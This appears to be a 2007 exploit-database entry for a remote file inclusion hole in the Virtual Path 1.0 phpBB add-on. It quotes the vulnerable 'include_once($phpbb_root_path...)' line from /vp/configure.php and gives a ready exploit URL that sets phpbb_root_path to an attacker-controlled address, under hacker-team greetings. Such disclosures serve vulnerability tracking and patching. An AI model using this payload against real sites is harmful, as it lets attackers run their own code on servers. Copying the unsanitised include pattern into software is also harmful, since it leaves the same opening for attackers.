Virtual Path 1.0 - '/vp/configure.php' Remote File Inclusion

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2007-01-24 
date_updated: 2016-09-21 
verified: 1 
codes: OSVDB-31636;CVE-2007-0591 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comVirtualPath-phpBB-1.0.zip

+=====================================================================
+                  Virtual Path phpBB <== v1.0                       |
+=====================================================================
+ Downlaoad S :http://sourceforge.net/projects/virtualpath/          |
+=====================================================================
+ Author: GolD_M = Mahmood_ali  &&  Contact: HackEr_@W.Cn            |
======================================================================
+ SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                    |
+=====================================================================
+ In:  /vp/configure.php                                             |
+=====================================================================
+ Vulnerable Code:  &  Line : 3                                      |
+=====================================================================
+ include_once($phpbb_root_path. 'vp/conf.php');                     |
+=====================================================================
+ Exploit:                                                           |
+=====================================================================
+ http://Victim.Com/vp/configure.php?phpbb_root_path=Evil?           |
+=====================================================================
+                    Tryag.Com & Dwrat.com                           |
+=====================================================================

# milw0rm.com [2007-01-25]